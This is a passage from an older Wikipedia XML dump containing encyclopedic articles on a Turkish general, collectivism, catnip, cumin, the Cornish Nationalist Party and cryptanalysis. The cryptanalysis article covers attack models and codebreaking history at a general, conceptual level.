{{planetmath|id=1184|title=Generalized continuum hypothesis}}

==See also==
* [[Aleph number]]
* [[Beth number]]
* [[Cardinality]]

[[Category:Set theory]]
[[Category:Model theory]]
[[Category:Hilbert's problems]]
[[Category:Infinity]]
[[Category:Hypotheses]]

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[[zh:连续统假设]]</text>
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  <page>
    <title>Cevik Bir</title>
    <id>5706</id>
    <revision>
      <id>36093172</id>
      <timestamp>2006-01-21T15:23:14Z</timestamp>
      <contributor>
        <username>Ugur Basak</username>
        <id>298337</id>
      </contributor>
      <comment>removed (in [[Turkish language|Turkish]] spelling)</comment>
      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:CevikBir.jpg|frame|Gen.Cevik Bir, ret., Turkish Army. Image circa 1997]] --&gt;
'''Çevik Bir''' was a member of the [[Turkey|Turkish]] general staff in the [[1990s]]. He took a major part in several important international missions in the [[Middle East]] and [[North Africa]]. 

After the dictator [[Siad Barre]]’s ouster, conflicts between the General [[Mohammed Farah Aidid|Farah Aidid]]'s party and other clans in [[Somalia]] had led to [[famine]] and lawlessness throughout the country. An estimated 300,000 people had died from starvation. A combined [[military]] force of [[United States]] and [[United Nations]] (under the name UNISOM) were deployed to [[Mogadishu]], to monitor the ceasefire and deliver food and supplies to the starving people of Somali. Çevik Bir, who was then a lieutenant-general of [[Turkey]], became the force commander of UNISOM in [[1993]]. Despite the retreat of US and UN forces after several deaths due to local hostilities mainly led by Aidid, the introduction of a powerful military force opened the transportation routes, enabling the provision of supplies and ended the famine quickly. 

Çevik Bir became the Turkish army's deputy chief of general staff shortly after the Somali operation and played a vital role in establishing a Turkish-[[Israel]]i entente against the emerging fundamentalism in the Middle East. Many people in Turkey accused him of actually being a [[Jewish]] [[donmeh]]. For being a staunch defender of secularism in the region, he was awarded the Secularism and Democracy Award of [[1997]] in [[Washington, DC]].

[[Category:Turkish military people|Bir, Cevik]]</text>
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  <page>
    <title>Carl Gustav Jung</title>
    <id>5707</id>
    <revision>
      <id>15903906</id>
      <timestamp>2003-04-13T23:12:55Z</timestamp>
      <contributor>
        <username>Zoe</username>
        <id>2376</id>
      </contributor>
      <comment>reverting -- he isn't known by his middle name, keep it simple</comment>
      <text xml:space="preserve">#REDIRECT [[Carl Jung]]</text>
    </revision>
  </page>
  <page>
    <title>Collectivism</title>
    <id>5708</id>
    <revision>
      <id>41407571</id>
      <timestamp>2006-02-27T03:04:14Z</timestamp>
      <contributor>
        <username>Sarge Baldy</username>
        <id>23320</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">:''For the descriptive terminology as used in anthropology and psychology, see [[Collectivist and individualist cultures]]. For the magazine, see [[Collectivism (magazine)]].''

'''Collectivism''' is a term used to describe any [[doctrine]] that stresses the importance of a [[collective]], rather than the importance of the [[individual]].  Collectivists believe the individual should be subordinate to the collective, which may be a group of individuals, a whole [[society]], a [[state]], a [[nation]], a [[race]], or a [[social class]].  Thus, collectivism contrasts with [[individualism]], which emphasises the liberty of the individual.

== Politics ==
Some consider an early example of collectivist political philosophy to be [[Jean-Jacques Rousseau]]’s “[[social contract]]”, which maintains that each individual is under implicit contract to submit his own will to the “general will” and that the state should enforce this general will. This notion of an ethical obligation to subordinate an individual’s will to the group will is in fundamental opposition to [[individualism]] which advocates that individual action should not be restricted by others.

== Economics ==
Generally speaking, collectivism in the field of economics holds that things should be owned by the group and used for the benefit of all rather than being owned by individuals. Central to this view is the concept of the [[commons]], as opposed to private [[property]]. Some collectivists apply this principle only to [[capital (economics)|capital]] and land, while others argue that all valued commodities should be regarded as [[public goods]] and placed under [[public ownership]].

Collectivism in economics may or may not involve a [[state]] as a manager and steward of collective property. For instance, [[anarcho-communists]], who argue for the immediate abolition of government, wish to place all goods under collective ownership. In [[1876]], at the Florence Conference of the Italian Federation of the International, where the principles of anarcho-communism were first laid out, it was stated:

&lt;blockquote&gt;
The Italian Federation considers the collective property of the products of labour as the necessary complement to the collectivist programme, the aid of all for the satisfaction of the needs of each being the only rule of production and consumption which corresponds to the principle of solidarity.
&lt;/blockquote&gt;

== Collectivist societies ==
There are many examples of societies around the world which have characterized themselves or have been characterized by outsiders as “collectivist”.

For instance, there are the [[communist state]]s, which have often collectivized most economic sectors (and agriculture in particular). On the other hand, there are Israeli [[kibbutz]]im (voluntary communes where people live and [[farm]] together without private ownership), and communities such as the [[Freetown Christiania]] in [[Denmark]] (a small anarchist [[political experiment]] centered around an abandoned [[military installation]] in [[Copenhagen]]; Christiania has laws abolishing [[private property]]).

[[Democracy]], with its emphasis on notions of [[social contract]] and the collective will of the people, has been characterized by some as a form of (political) collectivism.

== Anti-collectivism ==
The term ''collectivism'' is used more often by anti-collectivists than by anyone else.  Supporters of [[Objectivism]] — [[Ayn Rand]] and many people influenced by her — claim that collectivism is fallacious in theory and immoral in practice. They further argue that many or most political ideologies (other than Objectivism itself) are forms of collectivism or at least contain significant collectivist elements. Ironically, Objectivism has been criticized by some for its emphasis on emulating Rand rather than on being a true individual with one’s own thoughts and feelings.

Other ideologies that define themselves in opposition to collectivism include [[libertarianism]] and [[anarcho-capitalism]], which are seen by their supporters as defending [[individual rights]] against various forms of collectivism.

== See also ==
* [[communalism]]
* [[communitarianism]]
* [[primitive communism]]
* [[Marxism]]

[[Category:Ethics]]
[[Category:Political theories]]

[[de:Kollektivismus]]
[[fr:Collectivisme politique]]
[[he:קולקטיביזם]]
[[nl:Collectivisme]]
[[ja:集団主義]]
[[no:Kollektivisme]]
[[sv:Kollektivism]]</text>
    </revision>
  </page>
  <page>
    <title>Nepeta</title>
    <id>5711</id>
    <revision>
      <id>41970229</id>
      <timestamp>2006-03-02T23:24:59Z</timestamp>
      <contributor>
        <username>Lyrl</username>
        <id>408908</id>
      </contributor>
      <minor />
      <comment>/* Medicinal uses */ fix link</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = ''Nepeta''
| image = Nepeta_curviflora.jpg
| image_width = 240px
| image_caption = ''Nepeta curviflora''
| regnum = [[Plantae]]
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Lamiales]]
| familia = [[Lamiaceae]]
| genus = '''''Nepeta'''''
| subdivision_ranks = Species
| subdivision = 
See text.
}}

'''''Nepeta''''' is a genus of about 250 species of [[flowering plant]]s in the family [[Lamiaceae]]. The members of this family are known as '''catnips''' or '''catmints'''.

The genus is native to [[Europe]], [[Asia]] and [[Africa]], with the highest species diversity in the [[Mediterranean region]] east to [[China]]. Most of the species are [[herbaceous]] [[perennial plant]]s, but some are [[annual plant|annual]]s. They have sturdy stems with opposite heart-shaped, green to greyish-green leaves. The [[flower]]s are white, blue, pink or lilac and occur in several clusters toward the tip of the stems.

;Selected species
{|
|- valign=top
|
*''Nepeta agrestis''
*''Nepeta annua''
*''Nepeta apuleii''
*''Nepeta beltranii''
*''Nepeta camphorata''
*''Nepeta cataria''
*''Nepeta ciliaris''
*''Nepeta coerulescens''
*''Nepeta curviflora''
*''Nepeta densiflora''
*''Nepeta dentata''
*''Nepeta dirphya''
*''Nepeta discolor''
*''Nepeta elliptica''
*''Nepeta everardi''
*''Nepeta floccosa''
*''Nepeta foliosa''
*''Nepeta fordii''
*''Nepeta glutinosa''
*''Nepeta govaniana''
*''Nepeta granatensis''
*''Nepeta grandiflora''
*''Nepeta heldreichii''
*''Nepeta hemsleyana''
*''Nepeta hindostana''
*''Nepeta hispanica''
|
*''Nepeta italica''
*''Nepeta jomdaensis''
*''Nepeta kokamirica''
*''Nepeta kokanica''
*''Nepeta laevigata''
*''Nepeta lamiopsis''
*''Nepeta latifolia''
*''Nepeta leucolaena''
*''Nepeta leucophylla''
*''Nepeta longibracteata''
*''Nepeta manchuriensis''
*''Nepeta melissifolia''
*''Nepeta membranifolia''
*''Nepeta micrantha''
*''Nepeta multibracteata''
*''Nepeta multifida''
*''Nepeta mussinii''
*''Nepeta nepalensis''
*''Nepeta nepetella''
*''Nepeta nervosa''
*''Nepeta nuda''
*''Nepeta parnassica''
*''Nepeta parviflora''
*''Nepeta phyllochlamys''
*''Nepeta prattii''
*''Nepeta pungens''
|
*''Nepeta racemosa''
*''Nepeta raphanorhiza''
*''Nepeta scordotis''
*''Nepeta sessilis''
*''Nepeta sibirica''
*''Nepeta sibthorpii''
*''Nepeta souliei''
*''Nepeta spruneri''
*''Nepeta staintonii''
*''Nepeta stewartiana''
*''Nepeta sungpanensis''
*''Nepeta supina''
*''Nepeta taxkorganica''
*''Nepeta tenuiflora''
*''Nepeta tenuifolia''
*''Nepeta tuberosa''
*''Nepeta ucranica''
*''Nepeta veitchii''
*''Nepeta virgata''
*''Nepeta wilsonii''
*''Nepeta yanthina''
*''Nepeta zandaensis

'''Natural hybrids'''
*''Nepeta × faassenii''
|}

[[Image:Catnip-blossom.jpg|left|thumb|''Nepeta cataria'' flowers]]
''Nepeta cataria'' (Catnip, True Catnip, Catmint or Field Balm) is a 50&amp;ndash;100&amp;nbsp;[[centimetre|cm]] tall [[herb]] resembling [[mint]] in appearance, with greyish-green leaves; the [[flower]]s are white, finely spotted with purple. It has been introduced to many countries, and is now a widespread [[weed]] in some areas, including the [[United States]]. A [[lemon]]-scented [[cultivar]], ''N. cataria'' 'Citriodora' looks exactly like true catnip, but has the scent of, and can be used like [[Lemon balm]].

''Nepeta grandiflora'' (Giant Catmint or Caucasus Catmint) is lusher than true catnip, and has dark green leaves and dark blue, almost purple flowers.

''Nepeta × faassenii'' (''N. racemosa'' × ''N. nepetella''; Faassen's Nepeta or Faassen's Catnip) is mostly grown as an [[ornamental plant]]. This [[hybrid]] is far smaller than either of above, and is almost a ground cover. It has with greyish-green leaves and light purple flowers.

Some ''[[Dracocephalum]]'', ''[[Glechoma]]'' and ''[[Calamintha]]'' species were formerly classified in ''Nepeta''.

===Medicinal uses===
Due to the fact that catnip promotes sweating when taken as a hot infusion, it was used for the treatment of nervousness, colds, [[influenza]], and fevers during the Middle Ages.  Catnip has also been alleged to aid with flatulence, diarrhea, colic, and other childhood diseases,
as well as preventing miscarriages, premature births, and morning sickness.  It is also sometimes used as an enema (Plants).  

As herbal remedies, catnips are used as [[relaxant]]s, [[nervine]]s, [[sedative]]s, and as [[antispasmodic]]s. They are used to alleviate symptoms such as [[insomnia]], stress, [[Menstrual cycle|menstrual]] [[cramp]]s, and gut cramps. The effect is a very mild one.

A study conducted at [[Iowa State University]] suggests that pure [[nepetalactone]], a constituent of the essential oil of ''Nepeta cataria'', may be 10 times as effective at repelling [[mosquitos]] as the common repellant, [[DEET]].

===Effects on cats===
Catnip and catmints are mainly known for, and named after, the effects they have on [[Felidae|cat]]s, particularly [[cat|domestic cats]]. Approximately two thirds of cats are susceptible to the effects of catnip, as the phenomenon is [[hereditary]].

Catnip contains nepetalactone, a [[terpene]], that is thought to mimic feline sex [[pheromone]]s. Cats detect it through their [[vomeronasal organ]]s. When cats sense the bruised leaves or stems of catnip, they will rub in it, roll over it, paw at it, chew it, lick it, leap about, then purr loudly, growl, and meow. This reaction only lasts for several minutes before the cat loses interest. It takes up to two hours for the cat to &quot;reset&quot; and then it can come back to the catnip and have the same response as before. Young kittens and older cats are less likely to have a reaction to catnip but [[big cat]]s, such as [[tiger]]s, seem to be extremely sensitive to it.

Cat owners do not need to worry about allowing their cats access to catnip because there are, for the most part, no negative side effects to it. However, some cats become overly excited when exposed to catnip, and so aging cats with heart troubles should not be given catnip.

Other plants that also have this effect on cats include [[Valerian (plant)|Valerian]] and plants that contain [[actinidine]] or [[dihydroactinidiolide]] (''Smith, 2005'').

At least three species attract cats, ''Nepeta cataria'', ''N. grandiflora'' and ''N. × faassenii'', but most other species have not been tested. Of these, both true catnip and Faassen's catnip have a sharp, biting taste, while the taste of giant catmint is bland.

&lt;!-- SOURCES NEEDED
===Other Uses===
When smoked, catnip has a mild euphoric effect.
--&gt;

==References and external links==
*[http://rbg-web2.rbge.org.uk/FE/fe.html Flora Europaea]
*[http://www.efloras.org/florataxon.aspx?flora_id=2&amp;taxon_id=122138 Flora of China]
*[http://www.efloras.org/browse.aspx?flora_id=110&amp;start_taxon_id=122138 Flora of Nepal]
*[http://www.liberherbarum.com/Pn0450.HTM Liber Herbarum II page on Nepeta cataria]
*[http://www.sciencedaily.com/releases/2001/08/010828075659.htm Catnip Repels Mosquitoes More Effectively Than DEET] - reported at the 222nd national meeting of the American Chemical Society
*[http://www.straightdope.com/classics/a1_008.html The Straight Dope: What is it with cats and catnip?]
*[http://pubs.acs.org/cen/whatstuff/83/8331catnip.html What is in catnip anyway? Nepetalactone]
*[http://science.howstuffworks.com/question303.htm ''How does catnip work?''  HowStuffWorks, Inc.  1998-2005.]
*[http://www.penmarric.ns.ca/catcare/usefulinfo/catnip.htm Smith, L. ''Catnip''. Penmarrie Cornish Rex. 1996-2005.]
* Jacobs, Betty E.M. Growing and Using Herbs Successfully. Garden Way Publishing. Pownal, Vermont, 1981.

[[Category:Cat attractants]]
[[Category:Herbs]]
[[Category:Lamiaceae]]

[[de:Echte Katzenminze]]
[[fr:Cataire]]
[[lt:Katžolė]]
[[pl:Kocimiętka właściwa]]
[[fi:Aitokissanminttu]]
[[sv:Kattmynta]]</text>
    </revision>
  </page>
  <page>
    <title>Cumin</title>
    <id>5712</id>
    <revision>
      <id>40585248</id>
      <timestamp>2006-02-21T17:06:49Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: corrected link to disambiguation page Stem ([[Wikipedia:Disambiguation_pages_with_links|you can help!]])</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Cumin
| image = Historical CUMIN.jpg
| image_width = 240px
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Dicotyledon|Magnoliopsida]]
| ordo = [[Apiales]]
| familia = [[Apiaceae]]
| genus = ''[[Cuminum]]''
| species = '''''C. cyminum'''''
| binomial = ''Cuminum cyminum''
| binomial_authority = [[Carolus Linnaeus|L.]]
}}

'''Cumin''' '''''(Cuminum cyminum)''''' is a [[flowering plant]] in the [[family (biology)|family]] [[Apiaceae]], native to the eastern [[Mediterranean region]] east to northern [[India]].

It is a [[herbaceous]] [[annual plant]], with a slender branched [[Plant stem|stem]] 20-30 cm tall. The [[leaf|leaves]] are 5-10 cm long, pinnate or bipinnate, with thread-like leaflets. The [[flower]]s are small, white or pink, and borne in [[umbel]]s. The [[fruit]] is a laterally compressed fusiform or [[ovoid]] [[achene]] 4-5 mm long, containing a single [[seed]]. Cumin seeds are similar to [[fennel]] seeds, but are smaller and darker in [[colour]].

[[Image:Cumin-spice.jpg|thumb|left|Whole cumin seeds and ground cumin]]
===Cultivation and uses===
Cumin seeds are used as a [[spice]] for their distinctive aroma, popular in [[North African cuisine|North African]], [[Middle East|Middle Eastern]], western Chinese, [[Indian cuisine|Indian]] and [[Mexican cuisine]]. 

Cumin fruits have a distinctive bitter flavour and strong, warm aroma due to their abundant [[essential oil]] content. Its main constituent and important [[aroma compound]] is [[cuminaldehyde]] (4-isopropylbenzaldehyde). Important aroma compounds of toasted cumin are the [[Substitution (chemistry)|substituted]] [[pyrazine]]s, 2-ethoxy-3-isopropylpyrazine, 2-methoxy-3-''sec''-butylpyrazine, and 2-methoxy-3-methylpyrazine. Their [[Odor|smell]] can also be detected in the eater's [[sweat]] even after consuming only small amounts.

Today, cumin is identified with [[Indian cuisine]] and [[Mexican cuisine]]. It is used as an ingredient of [[curry powder]]. Cumin can be found in some [[Netherlands|Dutch]] [[cheese]]s, and in some traditional [[bread]]s from [[France]]. In [[herbal medicine]], cumin is classified as [[stimulant]], [[carminative]], and [[antimicrobial]]. 

Cumin can be used to season many dishes, as it draws out their natural sweetnesses. It is traditionally added to curries, enchiladas, tacos, and other Middle-eastern, Indian, Cuban and Mexican-style foods. It can also be added to salsa to give it extra flavour. Cumin has also been used on meat in addition to the traditional seasonings. The spice helps give any dish a tex-mex taste. 

Cultivation of Cumin requires a long, hot summer with 3-4 months with daytime temperatures around 30 °C; it is drought tolerant, and is mostly grown in [[mediterranean climate]]s. It is grown from seed sown in spring, and needs a fertile, well-drained soil.

===History===
Cumin has been grown and used as a spice since ancient times. Originally cultivated in [[Iran]] and the Mediterranean region, cumin is mentioned in the [[Bible]] in both the [[Old Testament]] ([[Isaiah]] 28:27) and in the [[New Testament]] ([[Matthew]] 23:23). It was also known in [[ancient Greece]] and [[ancient Rome|Rome]]. The Greeks kept cumin at the dining table in its own container (much as pepper is frequently kept today) and this practice continues in [[Morocco]]. Cumin fell out of favour in [[Europe]] except in [[Spain]] during the [[Middle Ages]], but is more widely used again today; it was introduced to the [[Americas]] by Spanish colonists. It is now mostly grown in [[Iran]], [[Morocco]], [[Egypt]], [[India]], [[Syria]], [[Mexico]], and [[Chile]].

The name cumin has a long history. Although the English form goes back to Latin ''cuminum'', and Greek κύμινον, the Greek seems to have been borrowed from a Semitic source; forms of this word are attested in several ancient Semitic languages, including [[Akkadian]]. The ultimate source seems to be the [[Sumerian]] word ''gamun'' [http://www.bartleby.com/61/roots/S161.html].

A [[folk etymology]] connects the word with the [[Iran|Persian]] city [[Kerman]], where, the story goes, most of ancient Persia's cumin was produced. For the Persians the expression &quot;carrying cumin to Kerman&quot; is the same as the [[English language]] phrase &quot;carrying coals to [[Newcastle upon Tyne|Newcastle]]&quot;. Kerman, locally called ''Kermun'', would have became ''Kumun'' and then cumin in the European languages.

In [[India]], cumin is known as ''jeera'' or ''geera''; in [[Urdu]]/[[Pakistan]], cumin is known as ''zeera''; in northwest [[China]], cumin is known as ''ziran''.

=== Confusion with other spices ===
Cumin is hotter to the taste, lighter in colour, and larger than [[caraway]] (''Carum carvi''), another umbelliferous spice that is sometimes confused with it. Some older cookbooks erroneously name ground [[coriander]] as the same spice as ground cumin.  

The distantly related ''[[Bunium persicum]]'' and the unrelated ''[[Nigella sativa]]'' are both sometimes called [[black cumin]] (''q.v.''). 

Curcumin is a compound extracted from [[turmeric]].

== External links ==
* [http://www.uni-graz.at/~katzer/engl/Cumi_cym.html Gernot Katzer's Spice Pages: Cumin] 
* [http://botanical.com/botanical/mgmh/c/cumin127.html Botanical.com]

[[Category:Apiaceae]]
[[Category:Spices]]

[[bg:Кимион]]
[[de:Kreuzkümmel]]
[[eo:Kumino]]
[[es:Comino]]
[[fi:Roomankumina]]
[[ja:クミン]]
[[nl:Komijn]]
[[pt:Cominho]]
[[sv:Spiskummin]]</text>
    </revision>
  </page>
  <page>
    <title>Cornish Nationalist Party</title>
    <id>5714</id>
    <revision>
      <id>36156668</id>
      <timestamp>2006-01-22T01:20:25Z</timestamp>
      <contributor>
        <username>Benanhalt</username>
        <id>252323</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]]) - autonomy</comment>
      <text xml:space="preserve">The '''Cornish Nationalist Party''' ('''CNP''') was a [[political party]] campaigning for [[self-government]] for [[Cornwall]], that split from [[Mebyon Kernow]] on [[May 28]], [[1975]].

The split was down to the same debate that was occurring in most of the political parties campaigning for [[self-governance|autonomy]] from the United Kingdom at the time (for example the [[Scottish National Party]] and [[Plaid Cymru]]), whether to be a [[centre-left]] party appealing to the electorate on a [[social-democratic]] line, or whether to appeal emotionally on a [[centre-right]] cultural line. Another subject of the split was whether to embrace [[devolution]] as a first step to full [[independence]] (or as the sole step if this was what the electorate wished) or for it to be &quot;all or nothing&quot;). The CNP essentially represented the party's right wing, who were not willing to accept that economic arguments were more likely to win votes than cultural. 

The CNP worked to preserve the identity of [[Cornwall]] and improve its economy, and encouraged links with Cornish people overseas and with other regions which have distinct identities. It also gave support to [[Cornish language|Unified Cornish]], the language of the Cornish revival in modern times, and commemorated [[Thomas Flamank]], a leader of the [[Cornish Rebellion of 1497|Cornish Rebellion]] in [[1497]], at an annual ceremony at [[Bodmin]] on [[June 27|27th June]] each year.

The CNP published a quarterly journal, The Cornish Banner (''An Baner Kernewek'').

[[Category:Defunct political parties in the United Kingdom]]
[[Category:Cornish politics]]</text>
    </revision>
  </page>
  <page>
    <title>Cryptanalysis</title>
    <id>5715</id>
    <revision>
      <id>38984836</id>
      <timestamp>2006-02-09T23:12:16Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up + typo fix</comment>
      <text xml:space="preserve">'''Cryptanalysis''' (from the [[Greek language|Greek]] ''kryptós'', &quot;hidden&quot;, and ''analýein'', &quot;to loosen&quot; or &quot;to untie&quot;) is the study of methods for obtaining the meaning of [[encrypt|encrypted]] information, without access to the [[secret]] information which is normally required to do so. Typically, this involves finding the [[secret key]]. In non-technical language, this is the practice of '''codebreaking''' or '''cracking the code''', although these phrases also have a specialised technical meaning (see [[code (cryptography)|code]]). 

&quot;Cryptanalysis&quot; is also used to refer to any attempt to circumvent the [[security]] of other types of [[cryptographic]] [[algorithm|algorithms]] and [[cryptographic protocol|protocols]] in general, and not just [[encryption]]. However, cryptanalysis usually excludes attacks that do not primarily target weaknesses in the actual [[cryptography]]; methods such as [[bribery]], [[rubber-hose cryptanalysis|physical coercion]], [[burglary]], [[keylogging]], and so forth, although these latter types of attack are an important concern in [[computer security]], and are increasingly becoming more effective than traditional cryptanalysis.

Even though the goal has been the same, the methods and techniques of cryptanalysis have changed drastically through the history of cryptography, adapting to increasing cryptographic complexity, ranging from the pen-and-paper methods of the past, through machines like [[Enigma machine|Enigma]] in [[World War II]], to the computer-based schemes of the present. The results of cryptanalysis have also changed &amp;mdash; it is no longer possible to have unlimited success in codebreaking, and there is a hierarchical classification of what constitutes a rare practical attack. In the mid-[[1970]]s, a new class of cryptography was introduced: [[asymmetric cryptography]]. Methods for breaking these [[cryptosystem]]s are typically radically different from before, and usually involve solving a carefully-constructed problem in [[pure mathematics]], the best-known being [[integer factorization]].

==History of cryptanalysis==
:''Main article: [[History of cryptography]].''
Cryptanalysis has [[coevolution|coevolved]] together with cryptography, and the contest can be traced through the [[history of cryptography]] &amp;mdash; new [[cipher|ciphers]] being designed to replace old broken designs, and new cryptanalytic techniques invented to crack the improved schemes. In practice, they are viewed as two sides of the same coin: in order to create secure cryptography, you have to design against possible cryptanalysis.

===Classical cryptanalysis===
[[Image:Al-kindi-cryptanalysis.png|thumb|right|First page of [[Al-Kindi]]'s 9th century ''Manuscript on Deciphering Cryptographic Messages'']]

Although the actual word &quot;''cryptanalysis''&quot; is relatively recent (it was coined by [[William Friedman]] in [[1920]]), methods for breaking [[code (cryptography)|codes]] and [[cipher|ciphers]] are much older. The first known recorded explanation of cryptanalysis was given by [[9th century]] [[Arab|Arabic]] [[polymath]] [[Abu Yusuf Yaqub ibn Ishaq al-Sabbah Al-Kindi]] in ''A Manuscript on Deciphering Cryptographic Messages''. This treatise includes a description of the method of [[frequency analysis]] (Ibraham, 1992). 

[[Frequency analysis]] is the basic tool for breaking [[classical cipher]]s. In natural languages, certain letters of the [[alphabet]] appear more frequently than others; in [[English language|English]], &quot;[[E]]&quot; is likely to be the most common letter in any given sample of text. Similarly, the [[Digraph (orthography)|digraph]] &quot;TH&quot; is the most likely pair of letters, and so on. Frequency analysis relies on a cipher failing to hide these [[statistics]]. For example, in a [[simple substitution cipher]] (where each letter is simply replaced with another), the most frequent letter in the ciphertext would be a likely candidate for &quot;E&quot;.

Frequency analysis relies as much on [[linguistic]] knowledge as it does on [[statistics]], but as ciphers became more complex, [[mathematics]] gradually became the predominant approach to cryptanalysis. This change was particularly evident during [[World War II]], where efforts to crack [[Axis Powers|Axis]] ciphers required new levels of mathematical sophistication. Moreover, automation was for the first time applied to cryptanalysis with the [[Bomba (cryptography)|Bomba]] device and the [[Colossus computer|Colossus]] &amp;mdash; one of the earliest [[computers]].

===Modern cryptanalysis===
[[Image:Bombe-wh.700px.jpg|left|thumb|Replica of a [[Bombe]] device]]
Even though computation was used to great effect in cryptanalysis in World War II, it also made possible new methods of cryptography [[orders of magnitude]] more complex than ever before. Taken as a whole, modern cryptography has become much more impervious to cryptanalysis than the pen-and-paper systems of the past, and now seems to have the upper hand against pure cryptanalysis. The historian [[David Kahn]] notes, ''&quot;Many are the cryptosystems offered by the hundreds of commercial vendors today that cannot be broken by any known methods of cryptanalysis. Indeed, in such systems even a chosen plaintext attack, in which a selected plaintext is matched against its ciphertext, cannot yield the key that unlock other messages. In a sense, then, cryptanalysis is dead. But that is not the end of the story. Cryptanalysis may be dead, but there is - to mix my metaphors - more than one way to skin a cat.&quot;'' (Remarks on the 50th Anniversary of the [[National Security Agency]], [[1 November]], [[2002]]). Kahn goes on to mention increased opportunities for interception, [[bugging]], [[side channel attack]]s and [[quantum cryptography|quantum computers]] as replacements for the traditional means of cryptanalysis [http://www.fas.org/irp/eprint/kahn.html].

Kahn may have been premature in his cryptanalysis postmortem; weak ciphers are not yet extinct. In [[academia]], new designs are regularly presented, and are also frequently broken: the [[1984]] [[block cipher]] [[Madryga]]  was found to be susceptible to [[ciphertext-only attack]]s in [[1998]]; [[FEAL|FEAL-4]], proposed as a replacement for the [[Data Encryption Standard|DES]] standard encryption algorithm, was demolished by a spate of attacks from the academic community, many of which are entirely practical. In [[industry]], too, ciphers are not free from flaws: for example, the [[A5/1]], [[A5/2]] and [[CMEA (cipher)|CMEA]] algorithms, used in [[mobile phone]] technology, can all be broken in hours, minutes or even in real-time using widely-available computing equipment. In 2001, [[Wired Equivalent Privacy]] (WEP), a protocol used to secure [[Wi-Fi]] [[wireless network]]s, was shown to be susceptible to a practical [[related-key attack]].

===The results of cryptanalysis===
[[Image:Zimmermann-telegramm-offen.jpg|thumb|right|The decrypted [[Zimmermann Telegram]].]]
Successful cryptanalysis has undoubtedly influenced history; the ability to read the presumed-secret thoughts and plans of others can be a decisive advantage, and never more so than during wartime. For example, in [[World War I]], the breaking of the [[Zimmermann telegram]] was instrumental in bringing the [[United States]] into the war. In [[World War II]], the cryptanalysis of the German ciphers &amp;mdash; including the [[Enigma machine]] and the [[Lorenz cipher]] &amp;mdash; has been credited with everything between shortening the end of the European war by a few months to determining the eventual result (see [[ULTRA]]). The [[United States]] also benefited from the cryptanalysis of the Japanese [[PURPLE]] code (see [[Magic (cryptography)|MAGIC]]).

Governments have long recognised the potential benefits of cryptanalysis for [[Military espionage|intelligence]], both military and diplomatic, and established dedicated organisations devoted to breaking the codes and ciphers of other nations, for example, [[GCHQ]] and the [[NSA]], organisations which are still very active today. Even [[as of 2004]], it was reported that the United States had broken [[Iran]]ian ciphers. (It is unknown, however, whether this was pure cryptanalysis, or whether other factors were involved: [http://news.bbc.co.uk/1/hi/technology/3804895.stm]).

==Characterising attacks==
Cryptanalytic attacks vary in potency and how much of a threat they pose to real-world [[cryptosystem|cryptosystems]]. A ''certificational weakness'' is a theoretical attack that is unlikely to be applicable in any real-world situation; the majority of results found in modern cryptanalytic research are of this type. Essentially, the practical importance of an attack is dependent on the answers to the following three questions:
# What [[knowledge]] and capabilities are needed as a prerequisite?
# How much additional secret information is deduced?
# How much effort is required? (What is the [[computational complexity]]?)

===Prior knowledge: scenarios for cryptanalysis===
Cryptanalysis can be performed under a number of assumptions about how much can be observed or found out about the system under attack. As a basic starting point it is normally assumed that, for the purposes of analysis, the general [[algorithm]] is known; this is [[Shannon's Maxim]] of &quot;the enemy knows the system&quot;. This is a reasonable assumption in practice &amp;mdash; throughout history, there are countless examples of secret algorithms falling into wider knowledge, variously through [[espionage]], [[betrayal]] and [[reverse engineering]]. (On occasion, ciphers have been reconstructed through pure deduction; for example, the [[Germany|German]] [[Lorenz cipher]] and the Japanese [[Purple code]], and a variety of classical schemes).

Other assumptions include:
* ''[[Ciphertext-only attack|Ciphertext-only]]'': the cryptanalyst has access only to a collection of [[ciphertext]]s or [[codetext]]s.
* ''[[Known-plaintext attack|Known-plaintext]]'': the attacker has a set of ciphertexts to which he knows the corresponding [[plaintext]].
* ''[[Chosen plaintext attack|Chosen-plaintext]]'' (''[[chosen ciphertext attack|chosen-ciphertext]]''): the attacker can obtain the ciphertexts (plaintexts) corresponding to an arbitrary set of plaintexts (ciphertexts) of his own choosing.
* ''[[Adaptive chosen plaintext attack|Adaptive chosen-plaintext]]'': like a chosen-plaintext attack, except the attacker can choose subsequent plaintexts based on information learned from previous encryptions. Similarly ''[[Adaptive chosen ciphertext attack]]''.
* ''[[Related-key attack]]'': Like a chosen-plaintext attack, except the attacker can obtain ciphertexts encrypted under two different keys. The keys are unknown, but the relationship between them is known; for example, two keys that differ in the one bit.

These types of attack clearly differ in how plausible they would be to mount in practice. Although some are more likely than others, cryptographers will often take a conservative approach to security and assume the worst-case when designing algorithms, reasoning that if a scheme is secure even against unrealistic threats, then it should also resist real-world cryptanalysis as well.

The assumptions are often more realistic than they might seem upon first glance. For a known-plaintext attack, the cryptanalyst might well know or be able to guess at a likely part of the plaintext, such as an encrypted letter beginning with &quot;Dear Sir&quot;, or a computer session starting with &quot;&lt;tt&gt;LOGIN:&lt;/tt&gt;&quot;. A chosen-plaintext attack is less likely, but it is sometimes plausible: for example, you could convince someone to forward a message you have given them, but in [[encrypted]] form. Related-key attacks are mostly theoretical, although they can be realistic in certain situations, for example, when constructing [[cryptographic hash function]]s using a [[block cipher]].

===Classifying success in cryptanalysis===
The results of cryptanalysis can also vary in usefulness. For example, cryptographer [[Lars Knudsen]] (1998) classified various types of attack on [[block cipher]]s according to the amount and quality of secret information that was discovered:
* ''Total break'' &amp;mdash; the attacker deduces the secret [[key (cryptography)|key]].
* ''Global deduction'' &amp;mdash; the attacker discovers a functionally equivalent [[algorithm]] for encryption and decryption, but without learning the key.
* ''Instance (local) deduction'' &amp;mdash; the attacker discovers additional plaintexts (or ciphertexts) not previously known.
